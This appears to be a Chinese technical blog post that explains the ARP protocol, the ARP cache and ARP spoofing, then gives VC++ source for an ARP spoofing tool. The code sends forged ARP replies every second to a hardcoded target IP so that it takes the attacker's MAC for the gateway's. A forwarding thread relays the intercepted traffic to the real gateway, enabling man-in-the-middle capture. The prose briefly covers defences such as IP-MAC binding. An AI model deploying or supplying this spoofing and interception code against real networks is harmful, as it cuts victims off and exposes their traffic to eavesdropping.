VC++实现ARP协议

地址解析协议(Address Resolution Protocol,ARP)是在仅知道主机的IP地址时确  地址解析协议定其物理地址的一种协议。因IPv4和以太网的广泛应用,其主要用作将IP地址翻译为以太网的MAC地址,但其也能在ATM( 异步传输模式)和FDDIIP(Fiber Distributed Data Interface 光纤分布式数据接口)网络中使用。从IP地址到物理地址的映射有两种方式:表格方式和非表格方式。ARP具体说来就是将网络层(IP层,也就是相当于OSI的第三层)地址解析为数据连接层(MAC层,也就是相当于OSI的第二层)的MAC地址。
1. 什么是ARP?
  ARP (Address Resolution Protocol) 是个地址解析协议。最直白的说法是:在IP-以太网中,当一个上层协议要发包时,有了节点的IP地址,ARP就能提供该节点的MAC地址。
  2. 为什么要有ARP?
  OSI 模式把网络工作分为七层,彼此不直接打交道,只通过接口(layer interface). IP地址在第三层, MAC地址在第二层。协议在发送数据包时,得先封装第三层(IP地址),第二层(MAC地址)的报头, 但协议只知道目的节点的IP地址,不知道其MAC地址,又不能跨第二、三层,所以得用ARP的服务。
  3. 什么是ARP
  cache? ARP cache 是个用来储存(IP, MAC)地址的缓冲区。当ARP被询问一个已知IP地址节点的MAC地址时,先在ARP cache 查看,若存在,就直接返回MAC地址,若不存在,才发送ARP request向局域网查询。
  4. ARP 有什么命令行?
  常用的包括:(格式因操作系统、路由器而异,但作用类似)- 显示ARP cache: show arp; arp -a - 清除ARP cache: arp -d;clear arp。
 在TCP/IP协议中,A给B发送IP包,在报头中需要填写B的IP为目标地址,但这个IP包在以太网上传输的时候,还需要进行一次以太包的封装,在这个以太包中,目标地址就是B的MAC地址.
  计算机A是如何得知B的MAC地址的呢?解决问题的关键就在于ARP协议。
  在A不知道B的MAC地址的情况下,A就广播一个ARP请求包,请求包中填有B的IP(192.168.1.2),以太网中的所有计算机都会接收这个请求,而正常的情况下只有B会给出ARP应答包,包中就填充上了B的MAC地址,并回复给A。
  A得到ARP应答后,将B的MAC地址放入本机缓存,便于下次使用。
  本机MAC缓存是有生存期的,生存期结束后,将再次重复上面的过程。
  ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,当局域网中的某台机器B向A发送一个自己伪造的ARP应答,而如果这个应答是B冒充C伪造来的,即IP地址为C的IP,而MAC地址是伪造的,则当A接收到B伪造的ARP应答后,就会更新本地的ARP缓存,这样在A看来C的IP地址没有变,而它的MAC地址已经不是原来那个了。由于局域网的网络流通不是根据IP地址进行,而是按照MAC地址进行传输。所以,那个伪造出来的MAC地址在A上被改变成一个不存在的MAC地址,这样就会造成网络不通,导致A不能Ping通C!这就是一个简单的ARP欺骗。
 在网络执法官中,要想限制某台机器上网,只要点击“网卡”菜单中的“权限”,选择指定的网卡号或在用户列表中点击该网卡所在行,从右键菜单中选择“权限”,在弹出的对话框中即可限制该用户的权限。对于未登记网卡,可以这样限定其上线:只要设定好所有已知用户(登记)后,将网卡的默认权限改为禁止上线即可阻止所有未知的网卡上线。使用这两个功能就可限制用户上网。其原理是通过ARP欺骗发给被攻击的电脑一个假的网关IP地址对应的MAC,使其找不到网关真正的MAC地址,这样就可以禁止其上网。
ARP欺骗可以导致目标计算机与网关通信失败;
  更可怕的是会导致通信重定向,所有的数据都会通过攻击者的机器,因此存在极大的安全隐患。
  基于PC到PC的IP-MAC双向绑定可以解决ARP欺骗
  但是对于不支持IP-MAC双向绑定的设备
  就需要用可以绑定端口-MAC的交换来预防ARP欺骗
  另外,Windows 2KSP4 XPSP1 的Arp-S绑定是无效的

  Windows XP SP2即使使用Arp -s命令静态绑定在攻击者故意制造IP地址冲突的时候,也会失效。

#include <ntddndis.h>     
#include <windows.h>     
#include <stdio.h>     
#include <Iphlpapi.h>     
          
          
#include "protoutils.h"     
#include "ProtoPacket.h"     
          
          
#pragma comment(lib, "Iphlpapi.lib")     
          
          
DWORD WINAPI ForwardThread(LPVOID lpParam);     
BOOL GetGlobalData();     
void SpoofTarget(CArpPacket *pArp, DWORD dwDestIP);     
void UnspoofTarget(CArpPacket *pArp, DWORD dwDestIP);     
          
/     
// 全局数据     
u_char  g_ucLocalMac[6];    // 本地MAC地址     
DWORD   g_dwGatewayIP;      // 网关IP地址     
DWORD   g_dwLocalIP;        // 本地IP地址     
DWORD   g_dwMask;           // 子网掩码     
          
u_char g_ucGatewayMac[6];   // 网关MAC地址     
          
          
CInitSock theSock;     
          
          
          
int main()     
{     
    // 获取全局数据     
    GetGlobalData();     
    // 启动服务     
    if(!ProtoStartService())     
    {     
        printf(" ProtoStartService() failed %d n", ::GetLastError());     
        return -1;     
    }     
    // 打开控制设备对象     
    HANDLE hControlDevice = ProtoOpenControlDevice();     
    if(hControlDevice == INVALID_HANDLE_VALUE)     
    {     
        printf(" ProtoOpenControlDevice() failed() %d n", ::GetLastError());     
        ProtoStopService();     
        return -1;     
    }     
    // 枚举绑定的下层适配器     
    CPROTOAdapters adapters;     
    if(!adapters.EnumAdapters(hControlDevice))     
    {     
        printf(" Enume adapter failed n");     
        ProtoStopService();     
        return -1;     
    }     
          
          
    // 得到网关的MAC地址     
    memset(g_ucGatewayMac, 0xff, 6);     
    ULONG ulLen = 6;     
    if(!::SendARP(g_dwGatewayIP, 0, (ULONG*)g_ucGatewayMac, &ulLen) == NO_ERROR)     
    {     
        printf(" 取得网关的MAC地址出错 n");     
        return -1;     
    }     
          
    CAdapter adapter;     
    // 默认使用第一个适配器     
    if(!adapter.OpenAdapter(adapters.m_pwszSymbolicLink[0], TRUE))     
    {     
        printf(" OpenAdapter failed n");     
        ProtoStopService();     
        return -1;     
    }     
          
    CArpPacket arp(&adapter);     
    CArpPacket *pArp = &arp;     
          
    /        
    // 要欺骗的目标地址     
    char szDestIP[] = "10.16.115.89";     
              
    // 创建转发封包的线程     
    // ...          // ::CloseHandle(::CreateThread(NULL, 0, ForwardThread, &adapter, 0, NULL));     
          
    while(TRUE)     
    {     
        SpoofTarget(pArp, ::inet_addr(szDestIP));     
        ::Sleep(1000);     
    }     
          
    return 0;     
}     
          
void SpoofTarget(CArpPacket *pArp, DWORD dwDestIP)     
{        
    // 得到目标MAC地址     
    u_char arDestMac[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };     
    ULONG ulLen = 6;     
    if(::SendARP(dwDestIP, 0, (ULONG*)arDestMac, &ulLen) != NO_ERROR)     
    {     
        printf(" 取得目标MAC地址出错 n");     
        return;     
    }     
          
    // 让目标机器在ARP表中记下“g_ucLocalMac, g_dwGatewayIP”对     
    pArp->SendPacket(arDestMac, g_ucLocalMac,      
            ARPOP_REPLY, arDestMac, dwDestIP, g_ucLocalMac, g_dwGatewayIP);      
}     
          
void UnspoofTarget(CArpPacket *pArp, DWORD dwDestIP)     
{     
    // 得到目标MAC地址     
    u_char arDestMac[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };     
    ULONG ulLen = 6;     
    if(::SendARP(dwDestIP, 0, (ULONG*)arDestMac, &ulLen) != NO_ERROR)     
    {     
        printf(" 取得目标MAC地址出错 n");     
        return;     
    }     
          
    // 让目标机器在ARP表中记下“g_ucGatewayMac, g_dwGatewayIP”对     
    pArp->SendPacket(arDestMac, g_ucLocalMac,      
            ARPOP_REPLY, arDestMac, dwDestIP, g_ucGatewayMac, g_dwGatewayIP);      
}     
          
          
BOOL GetGlobalData()     
{     
    PIP_ADAPTER_INFO pAdapterInfo = NULL;     
    ULONG ulLen = 0;     
          
    // 为适配器结构申请内存     
    ::GetAdaptersInfo(pAdapterInfo,&ulLen);     
    pAdapterInfo = (PIP_ADAPTER_INFO)::GlobalAlloc(GPTR, ulLen);     
          
    // 取得本地适配器结构信息     
    if(::GetAdaptersInfo(pAdapterInfo,&ulLen) ==  ERROR_SUCCESS)     
    {     
        if(pAdapterInfo != NULL)     
        {     
            memcpy(g_ucLocalMac, pAdapterInfo->Address, 6);     
            g_dwGatewayIP = ::inet_addr(pAdapterInfo->GatewayList.IpAddress.String);     
            g_dwLocalIP = ::inet_addr(pAdapterInfo->IpAddressList.IpAddress.String);     
            g_dwMask = ::inet_addr(pAdapterInfo->IpAddressList.IpMask.String);     
        }     
    }     
    ::GlobalFree(pAdapterInfo);     
          
    printf(" n -------------------- 本地主机信息 -----------------------nn");     
    in_addr in;     
    in.S_un.S_addr = g_dwLocalIP;     
    printf("      IP Address : %s n", ::inet_ntoa(in));     
          
    in.S_un.S_addr = g_dwMask;     
    printf("     Subnet Mask : %s n", ::inet_ntoa(in));     
          
    in.S_un.S_addr = g_dwGatewayIP;     
    printf(" Default Gateway : %s n", ::inet_ntoa(in));     
          
    u_char *p = g_ucLocalMac;     
    printf("     MAC Address : %02X-%02X-%02X-%02X-%02X-%02X n", p[0], p[1], p[2], p[3], p[4], p[5]);     
          
    printf(" n n ");     
          
    return TRUE;     
}     
          
          
DWORD WINAPI ForwardThread(LPVOID lpParam)     
{     
    // 下面的CMyAdapter类是为了访问CAdapter类的保护成员m_hAdapter     
    class CMyAdapter : public CAdapter     
    {     
    public:     
        HANDLE GetFileHandle() { return m_hAdapter; }     
    };     
          
    CMyAdapter *pAdapter = (CMyAdapter *)lpParam;     
          
    printf(" 开始转发数据... n");     
    // 提升线程优先级,为的是尽量不丢失数据帧     
    ::SetThreadPriority(::GetCurrentThread(), THREAD_PRIORITY_ABOVE_NORMAL);     
          
#define MAX_IP_SIZE        65535     
          
    char frame[MAX_IP_SIZE];     
    OVERLAPPED olRead = { 0 };     
    OVERLAPPED olWrite = { 0 };     
    olRead.hEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL);     
    olWrite.hEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL);     
    int nRecvLen;     
    ETHeader *pEthdr = (ETHeader *)frame;     
    // 开始转发数据     
    while(TRUE)     
    {     
        nRecvLen = pAdapter->RecieveData(frame, MAX_IP_SIZE, &olRead);     
        if(nRecvLen == -1 && ::GetLastError() == ERROR_IO_PENDING)     
        {     
            if(!::GetOverlappedResult(pAdapter->GetFileHandle(), &olRead, (PDWORD)&nRecvLen, TRUE))     
                break;     
        }     
        if(nRecvLen > 0)     
        {     
            // 修改封包的目的MAC地址之后,再将封包发送到LAN     
            if(pEthdr->type == htons(ETHERTYPE_IP))     
            {     
                IPHeader *pIphdr = (IPHeader *)(frame + sizeof(ETHeader));     
                if(pIphdr->ipDestination == g_dwGatewayIP)     
                {     
                    memcpy(pEthdr->dhost, g_ucGatewayMac, 6);     
                    pAdapter->SendData(frame, nRecvLen, &olWrite);     
                    printf(" 转发一个封包【源IP:%s】n",      
                                    ::inet_ntoa(*((in_addr*)&pIphdr->ipSource)));     
                }     
            }     
        }     
    }     
    printf(" 转发线程退出 n");     
    return 0;     
}

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值